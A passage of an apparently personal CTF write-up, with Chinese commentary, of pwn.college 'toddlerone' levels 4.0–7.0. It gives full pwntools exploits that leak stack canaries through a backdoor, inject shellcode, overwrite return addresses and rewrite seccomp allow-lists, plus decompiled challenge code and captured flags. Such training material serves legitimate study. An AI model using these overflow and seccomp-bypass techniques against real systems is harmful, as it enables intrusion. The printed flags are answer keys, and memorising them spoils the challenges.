padding_to_v14_size = 0x48
backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor
trigger_length = str(len(backdoor_trigger))
padding_to_canary = b"".ljust(0x8, b"A")
padding_to_ret = b"".ljust(0x8, b"A")
v14 = p64(0x49954B5EFDCB2A29)
fixed_offset = 0x1150
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target):
try:
target.sendlineafter(b"Payload size: ", trigger_length)
send_payload(target, backdoor_trigger)
target.recvuntil(backdoor)
canary = b"\x00" + target.recv(0x7)
rbp = target.recv(0x6)
log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp]
except Exception as e:
log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target):
canary, rbp = leak_data(target)
rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4))
shellcode_length = len(shellcode)
shellcode += b"".ljust(padding_to_v14_size - shellcode_length, b"A")
shellcode += v14
shellcode += padding_to_canary
shellcode += canary
shellcode += padding_to_ret
shellcode += p64(ret_addr)
return shellcode
def attack(target, payload):
try:
os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
response = target.recvall(timeout=5)
log.debug(response.decode("utf-8", errors="ignore"))
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch()
payload = construct_payload(target)
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{ECpb0UATZ-UymShuFolh7qzxgrx.0VNyMDL5cTNxgzW}

Level 4.1

Information

Description

Write a full exploit involving injecting shellcode, reverse engineering, and a method of tricking the challenge into executing your payload.

Write-up

参见 Level 4.0

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p64,
process,
remote,
shellcraft,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-4-1"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
backdoor = b"REPEAT "
padding_size = 0x58
padding_to_v14_size = 0x50
backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor
trigger_length = str(len(backdoor_trigger))
padding_to_ret = b"".ljust(0x8, b"A")
v14 = p64(0x736E2B681CA77DD2)
fixed_offset = 0x1150
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target):
try:
target.sendlineafter(b"Payload size: ", trigger_length)
send_payload(target, backdoor_trigger)
target.recvuntil(backdoor)
canary = b"\x00" + target.recv(0x7)
rbp = target.recv(0x6)
log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp]
except Exception as e:
log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target):
canary, rbp = leak_data(target)
rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4))
shellcode_length = len(shellcode)
shellcode += b"".ljust(padding_to_v14_size - shellcode_length, b"A")
shellcode += v14
shellcode += canary
shellcode += padding_to_ret
shellcode += p64(ret_addr)
return shellcode
def attack(target, payload):
try:
os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
response = target.recvall(timeout=5)
log.debug(response.decode("utf-8", errors="ignore"))
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch()
payload = construct_payload(target)
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{UiJc7-6JI988NELrbF-uNpbwc-X.0lNyMDL5cTNxgzW}

Level 5.0

Information

Description

Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.

Write-up

50 collapsed lines
__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3)
{
int *v3; // rax
char *v4; // rax
unsigned int v6; // ebx
const char *v7; // rax
__int64 v8; // [rsp+0h] [rbp-E0h] BYREF
__int64 v9; // [rsp+8h] [rbp-D8h]
__int64 v10; // [rsp+10h] [rbp-D0h]
unsigned int v11; // [rsp+1Ch] [rbp-C4h]
int i; // [rsp+28h] [rbp-B8h]
int v13; // [rsp+2Ch] [rbp-B4h]
size_t nbytes; // [rsp+30h] [rbp-B0h] BYREF
void *buf; // [rsp+38h] [rbp-A8h]
_QWORD *v16; // [rsp+40h] [rbp-A0h]
__int64 v17; // [rsp+48h] [rbp-98h]
_QWORD v18[18]; // [rsp+50h] [rbp-90h] BYREF
__int64 savedregs; // [rsp+E0h] [rbp+0h] BYREF
_UNKNOWN *retaddr; // [rsp+E8h] [rbp+8h] BYREF
v11 = a1;
v10 = a2;
v9 = a3;
v18[15] = __readfsqword(0x28u);
memset(v18, 0, 0x78uLL);
buf = v18;
v16 = &v18[14];
nbytes = 0LL;
v18[14] = 0xE700000001LL;
puts("The challenge() function has just been launched!");
sp_ = (__int64)&v8;
bp_ = (__int64)&savedregs;
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v8) >> 3) + 2;
rp_ = (__int64)&retaddr;
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
puts("including the saved base pointer and the saved return address, for a");
printf("total of %d bytes.\n", 8 * sz_);
printf("The input buffer begins at %p, partway through the stack frame,\n", buf);
puts("(\"above\" it in the stack are other local variables used by the function).");
puts("Your input will be read into this buffer.");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 103);
puts("large input length, and thus overflow the buffer.\n");
puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the stack is executable. This means that if the stack contains shellcode");
puts("and you overwrite the return address with the address of that shellcode, it will execute.\n");
cp_ = bp_;
cv_ = __readfsqword(0x28u);
while ( *(_QWORD *)cp_ != cv_ )
cp_ -= 8LL;
printf("Payload size: ");
__isoc99_scanf("%lu", &nbytes);
printf("You have chosen to send %lu bytes of input!\n", nbytes);
printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
printf(
1 collapsed line
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
(char *)buf + nbytes,
nbytes - 103);
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v13 = read(0, buf, nbytes);
if ( v13 < 0 )
{
v3 = __errno_location();
12 collapsed lines
v4 = strerror(*v3);
printf("ERROR: Failed to read input -- %s!\n", v4);
exit(1);
}
printf("You sent %d bytes!\n", v13);
puts("Let's see what happened with the stack:\n");
DUMP_STACK(sp_, sz_);
puts("The program's memory status:");
printf("- the input buffer starts at %p\n", buf);
printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_);
printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_);
printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_);
printf("- the canary is stored at %p.\n", (const void *)cp_);
printf("- the canary value is now %p.\n", *(const void **)cp_);
putchar(10);
printf("You said: %s\n", (const char *)buf);
puts("This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()");
puts("call to see the hidden backdoor!");
if ( strstr((const char *)buf, "REPEAT") )
{
puts("Backdoor triggered! Repeating challenge()");
return challenge(v11, v10, v9);
}
else
{
puts("This challenge will, by default, initialize a seccomp filter jail before exiting");
puts("the challenge function. You will have to reverse engineer the program to");
puts("understand how to avoid this.");
if ( v18[13] == 0x484D17DF2438CECFLL )
{
puts("Jail avoided! Continuing execution.");
}
else
{
puts("Restricting system calls (default: kill)");
16 collapsed lines
v17 = seccomp_init(0LL);
for ( i = 0; i <= 1; ++i )
{
v6 = *((_DWORD *)v16 + i);
v7 = (const char *)seccomp_syscall_resolve_num_arch(0LL, v6);
printf("Allowing syscall: %s (number %i)\n", v7, v6);
if ( (unsigned int)seccomp_rule_add(v17, 2147418112LL, *((unsigned int *)v16 + i), 0LL) )
__assert_fail(
"seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], 0) == 0",
"/challenge/toddlerone-level-5-0.c",
0x9Eu,
"challenge");
}
if ( (unsigned int)seccomp_load(v17) )
__assert_fail("seccomp_load(ctx) == 0", "/challenge/toddlerone-level-5-0.c", 0xA1u, "challenge");
}
puts("Goodbye!");
return 0LL;
}
}

我本以为是要 bypass seccomp 的题,没想到根本用不着动脑子……

v18[13] == 0x484D17DF2438CECF seccomp 就形同虚设了。试问这题和前面两题有啥区别吗,是不是这题就是个引子,后面有真正的 seccomp 玩呀 LOL

值得注意的是这里我们泄漏出来的 rbp 并不是真正的 rbp,而是一些其它的栈内数据,它后面也有别的返回地址,不过都覆盖掉好像也没啥问题,目的达到了就好~

我只是想说,我懒得改变量名了,总之解释清楚别误解了就好哈哈哈。

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p64,
process,
remote,
shellcraft,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-5-0"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
backdoor = b"REPEAT "
padding_size = 0x78
padding_to_v18_size = 0x68
backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor
trigger_length = str(len(backdoor_trigger))
padding_to_canary = b"".ljust(0x8, b"A")
padding_to_ret = b"".ljust(0x18, b"A")
v18 = p64(0x484D17DF2438CECF)
fixed_offset = 0x11C0
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target):
try:
target.sendlineafter(b"Payload size: ", trigger_length)
send_payload(target, backdoor_trigger)
response = target.recvuntil(backdoor)
log.debug(response.decode("utf-8", errors="ignore"))
canary = b"\x00" + target.recv(0x7)
rbp = target.recv(0x6)
log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp]
except Exception as e:
log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target):
canary, rbp = leak_data(target)
rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4))
shellcode_length = len(shellcode)
shellcode += b"".ljust(padding_to_v18_size - shellcode_length, b"A")
shellcode += v18
shellcode += padding_to_canary
shellcode += canary
shellcode += padding_to_ret
shellcode += p64(ret_addr)
return shellcode
def attack(target, payload):
try:
os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
response = target.recvall(timeout=5)
log.debug(response.decode("utf-8", errors="ignore"))
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch()
payload = construct_payload(target)
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{k8hu05Nam_pIp8PRsZsT8XQmYSZ.01NyMDL5cTNxgzW}

Level 5.1

Information

Description

Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.

Write-up

参见 Level 5.0

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p64,
process,
remote,
shellcraft,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-5-1"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
backdoor = b"REPEAT "
padding_size = 0x58
padding_to_v13_size = 0x40
backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor
trigger_length = str(len(backdoor_trigger))
padding_to_canary = b"".ljust(0x10, b"A")
padding_to_ret = b"".ljust(0x8, b"A")
v13 = p64(0x4887233ABFEDC049)
fixed_offset = 0x1160
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target):
try:
target.sendlineafter(b"Payload size: ", trigger_length)
send_payload(target, backdoor_trigger)
response = target.recvuntil(backdoor)
log.debug(response.decode("utf-8", errors="ignore"))
canary = b"\x00" + target.recv(0x7)
rbp = target.recv(0x6)
log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp]
except Exception as e:
log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target):
canary, rbp = leak_data(target)
rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4))
shellcode_length = len(shellcode)
shellcode += b"".ljust(padding_to_v13_size - shellcode_length, b"A")
shellcode += v13
shellcode += padding_to_canary
shellcode += canary
shellcode += padding_to_ret
shellcode += p64(ret_addr)
return shellcode
def attack(target, payload):
try:
os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
response = target.recvall(timeout=5)
log.debug(response.decode("utf-8", errors="ignore"))
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch()
payload = construct_payload(target)
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{w8_cw1WNbjdmbd10XDPrPKfumT5.0FOyMDL5cTNxgzW}

Level 6.0

Information

Description

Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.

Write-up

24 collapsed lines
__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3)
{
int *v3; // rax
char *v4; // rax
unsigned int v6; // ebx
const char *v7; // rax
__int64 v8; // [rsp+0h] [rbp-F0h] BYREF
__int64 v9; // [rsp+8h] [rbp-E8h]
__int64 v10; // [rsp+10h] [rbp-E0h]
unsigned int v11; // [rsp+1Ch] [rbp-D4h]
int i; // [rsp+28h] [rbp-C8h]
int v13; // [rsp+2Ch] [rbp-C4h]
size_t nbytes; // [rsp+30h] [rbp-C0h] BYREF
void *buf; // [rsp+38h] [rbp-B8h]
_DWORD *v16; // [rsp+40h] [rbp-B0h]
__int64 v17; // [rsp+48h] [rbp-A8h]
_DWORD v18[34]; // [rsp+50h] [rbp-A0h] BYREF
unsigned __int64 v19; // [rsp+D8h] [rbp-18h]
__int64 savedregs; // [rsp+F0h] [rbp+0h] BYREF
_UNKNOWN *retaddr; // [rsp+F8h] [rbp+8h] BYREF
v11 = a1;
v10 = a2;
v9 = a3;
v19 = __readfsqword(0x28u);
memset(v18, 0, 0x78uLL);
buf = v18;
v16 = &v18[29];
nbytes = 0LL;
v18[29] = 1;
v18[30] = 231;
puts("The challenge() function has just been launched!");
sp_ = (__int64)&v8;
bp_ = (__int64)&savedregs;
18 collapsed lines
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v8) >> 3) + 2;
rp_ = (__int64)&retaddr;
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
puts("including the saved base pointer and the saved return address, for a");
printf("total of %d bytes.\n", 8 * sz_);
printf("The input buffer begins at %p, partway through the stack frame,\n", buf);
puts("(\"above\" it in the stack are other local variables used by the function).");
puts("Your input will be read into this buffer.");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 114);
puts("large input length, and thus overflow the buffer.\n");
puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the stack is executable. This means that if the stack contains shellcode");
puts("and you overwrite the return address with the address of that shellcode, it will execute.\n");
cp_ = bp_;
cv_ = __readfsqword(0x28u);
while ( *(_QWORD *)cp_ != cv_ )
cp_ -= 8LL;
printf("Payload size: ");
__isoc99_scanf("%lu", &nbytes);
printf("You have chosen to send %lu bytes of input!\n", nbytes);
printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
printf(
1 collapsed line
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
(char *)buf + nbytes,
nbytes - 114);
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v13 = read(0, buf, nbytes);
if ( v13 < 0 )
{
v3 = __errno_location();
12 collapsed lines
v4 = strerror(*v3);
printf("ERROR: Failed to read input -- %s!\n", v4);
exit(1);
}
printf("You sent %d bytes!\n", v13);
puts("Let's see what happened with the stack:\n");
DUMP_STACK(sp_, sz_);
puts("The program's memory status:");
printf("- the input buffer starts at %p\n", buf);
printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_);
printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_);
printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_);
printf("- the canary is stored at %p.\n", (const void *)cp_);
printf("- the canary value is now %p.\n", *(const void **)cp_);
putchar(10);
printf("You said: %s\n", (const char *)buf);
puts("This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()");
puts("call to see the hidden backdoor!");
if ( strstr((const char *)buf, "REPEAT") )
{
puts("Backdoor triggered! Repeating challenge()");
return challenge(v11, v10, v9);
}
else
{
puts("Restricting system calls (default: kill)");
v17 = seccomp_init(0LL);
for ( i = 0; i <= 1; ++i )
{
v6 = v16[i];
v7 = (const char *)seccomp_syscall_resolve_num_arch(0LL, v6);
printf("Allowing syscall: %s (number %i)\n", v7, v6);
if ( (unsigned int)seccomp_rule_add(v17, 2147418112LL, (unsigned int)v16[i], 0LL) )
__assert_fail(
"seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], 0) == 0",
"/challenge/toddlerone-level-6-0.c",
0x97u,
"challenge");
}
if ( (unsigned int)seccomp_load(v17) )
__assert_fail("seccomp_load(ctx) == 0", "/challenge/toddlerone-level-6-0.c", 0x9Au, "challenge");
puts("Goodbye!");
return 0LL;
}
}

得,果不出我所料,这 seccomp 不就来了嘛~

其实不用 seccomp-tools 也行,不过这里也贴一下好啦:

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0007
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

seccomp_rule_add 会允许 v16[i] 处保存的系统调用,v16[i] 处保存的两个默认系统调用分别是 write (1)exit_group (231),究其原因是因为程序执行完 seccomp 后还需要调用 puts 函数,而 puts 函数就需要这两个系统调用才可以执行。

所以我们有两个可用的系统调用可以发挥(怎么发挥?栈溢出过去覆盖成自己的~),这里还是选择 chmod,允许了 chmod 后还需要允许 write 才可以成功执行 chmod,我猜应该是因为 chmod 会去修改 inode 中保存的权限信息,而修改它需要 write 系统调用,所以使用 chmod 的话我们必须同时允许 write 才行。

需要注意的就是必须先允许主要系统调用,再允许其内部依赖的系统调用,否则 seccomp 会直接阻止主要调用。

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p32,
p64,
process,
remote,
shellcraft,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-6-0"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
backdoor = b"REPEAT "
padding_size = 0x88
backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor
trigger_length = str(len(backdoor_trigger))
allowed_syscall_offset = 0x74
padding_to_ret = b"".ljust(0x18, b"A")
fixed_offset = 0x11E0
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target):
try:
target.sendlineafter(b"Payload size: ", trigger_length)
send_payload(target, backdoor_trigger)
response = target.recvuntil(backdoor)
log.debug(response.decode("utf-8", errors="ignore"))
canary = b"\x00" + target.recv(0x7)
rbp = target.recv(0x6)
log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp]
except Exception as e:
log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target):
canary, rbp = leak_data(target)
rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4))
shellcode_length = len(shellcode)
shellcode += b"".ljust(allowed_syscall_offset - shellcode_length, b"A")
shellcode += p32(0x5A) # SYS_chmod
shellcode += p32(0x01) # SYS_write
shellcode += b"".ljust(padding_size - (allowed_syscall_offset + 0x8), b"A")
shellcode += canary
shellcode += padding_to_ret
shellcode += p64(ret_addr)
return shellcode
def attack(target, payload):
try:
os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
response = target.recvall(timeout=5)
log.debug(response.decode("utf-8", errors="ignore"))
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch()
payload = construct_payload(target)
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{Uh7pFxiL1QPHZzDdWNmvsW7FH_Y.0VOyMDL5cTNxgzW}

Level 6.1

Information

Description

Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.

Write-up

参见 Level 6.0

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p32,
p64,
process,
remote,
shellcraft,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-6-1"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
backdoor = b"REPEAT "
padding_size = 0x38
backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor
trigger_length = str(len(backdoor_trigger))
allowed_syscall_offset = 0x2C
padding_to_ret = b"".ljust(0x8, b"A")
fixed_offset = 0x1120
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target):
try:
target.sendlineafter(b"Payload size: ", trigger_length)
send_payload(target, backdoor_trigger)
response = target.recvuntil(backdoor)
log.debug(response.decode("utf-8", errors="ignore"))
canary = b"\x00" + target.recv(0x7)
rbp = target.recv(0x6)
log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp]
except Exception as e:
log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target):
canary, rbp = leak_data(target)
rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4))
shellcode_length = len(shellcode)
shellcode += b"".ljust(allowed_syscall_offset - shellcode_length, b"A")
shellcode += p32(0x5A) # SYS_chmod
shellcode += p32(0x01) # SYS_write
shellcode += b"".ljust(padding_size - (allowed_syscall_offset + 0x8), b"A")
shellcode += canary
shellcode += padding_to_ret
shellcode += p64(ret_addr)
return shellcode
def attack(target, payload):
try:
os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
response = target.recvall(timeout=5)
log.debug(response.decode("utf-8", errors="ignore"))
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch()
payload = construct_payload(target)
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{Mipexe2lNIdsBTQy-Vxsp5mdVZl.0FMzMDL5cTNxgzW}

Level 7.0

Information

Description

Write a full exploit for a custom VM involving injecting shellcode and a method of tricking the challenge into executing it by locating and utilizing a bug in the challenge. Note, ASLR is disabled!

Write-up

27 collapsed lines
int __fastcall main(int argc, const char **argv, const char **envp)
{
const char **v4; // [rsp+0h] [rbp-420h] BYREF
int v5; // [rsp+Ch] [rbp-414h]
_BYTE buf[1024]; // [rsp+10h] [rbp-410h] BYREF
int v7; // [rsp+410h] [rbp-10h]
__int16 v8; // [rsp+414h] [rbp-Ch]
char v9; // [rsp+416h] [rbp-Ah]
__int64 savedregs; // [rsp+420h] [rbp+0h] BYREF
_UNKNOWN *retaddr; // [rsp+428h] [rbp+8h] BYREF
v5 = argc;
v4 = argv;
printf("[+] Welcome to %s!\n", *argv);
puts("[+] This challenge is an custom emulator. It emulates a completely custom");
puts("[+] architecture that we call \"Yan85\"! You'll have to understand the");
puts("[+] emulator to understand the architecture, and you'll have to understand");
puts("[+] the architecture to understand the code being emulated, and you will");
puts("[+] have to understand that code to get the flag. Good luck!");
puts("[+]");
puts("[+] This level is a full Yan85 emulator. You'll have to reason about yancode,");
puts("[+] and the implications of how the emulator interprets it!");
setvbuf(_bss_start, 0LL, 2, 1uLL);
memset(buf, 0, sizeof(buf));
v7 = 0;
v8 = 0;
v9 = 0;
printf("[!] This time, YOU'RE in control! Please input your yancode: ");
puts("[+] This challenge doesn't allow you to call open via the sys instruction, but luckily,");
puts("[+] it makes a memory error that will let you accomplish your goals. Good luck!");
read(0, buf, 0x300uLL);
sp_ = (__int64)&v4;
bp_ = (__int64)&savedregs;
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v4) >> 3) + 2;
9 collapsed lines
rp_ = (__int64)&retaddr;
puts("[!] Let's take a look at the stack before we execute your yancode:");
DUMP_STACK(sp_, sz_);
printf("[-] the saved frame pointer (of main) is at %p\n", (const void *)bp_);
printf("[-] the saved return address is at %p\n", (const void *)rp_);
printf("[-] the saved return address is currently pointing to %p.\n", *(const void **)rp_);
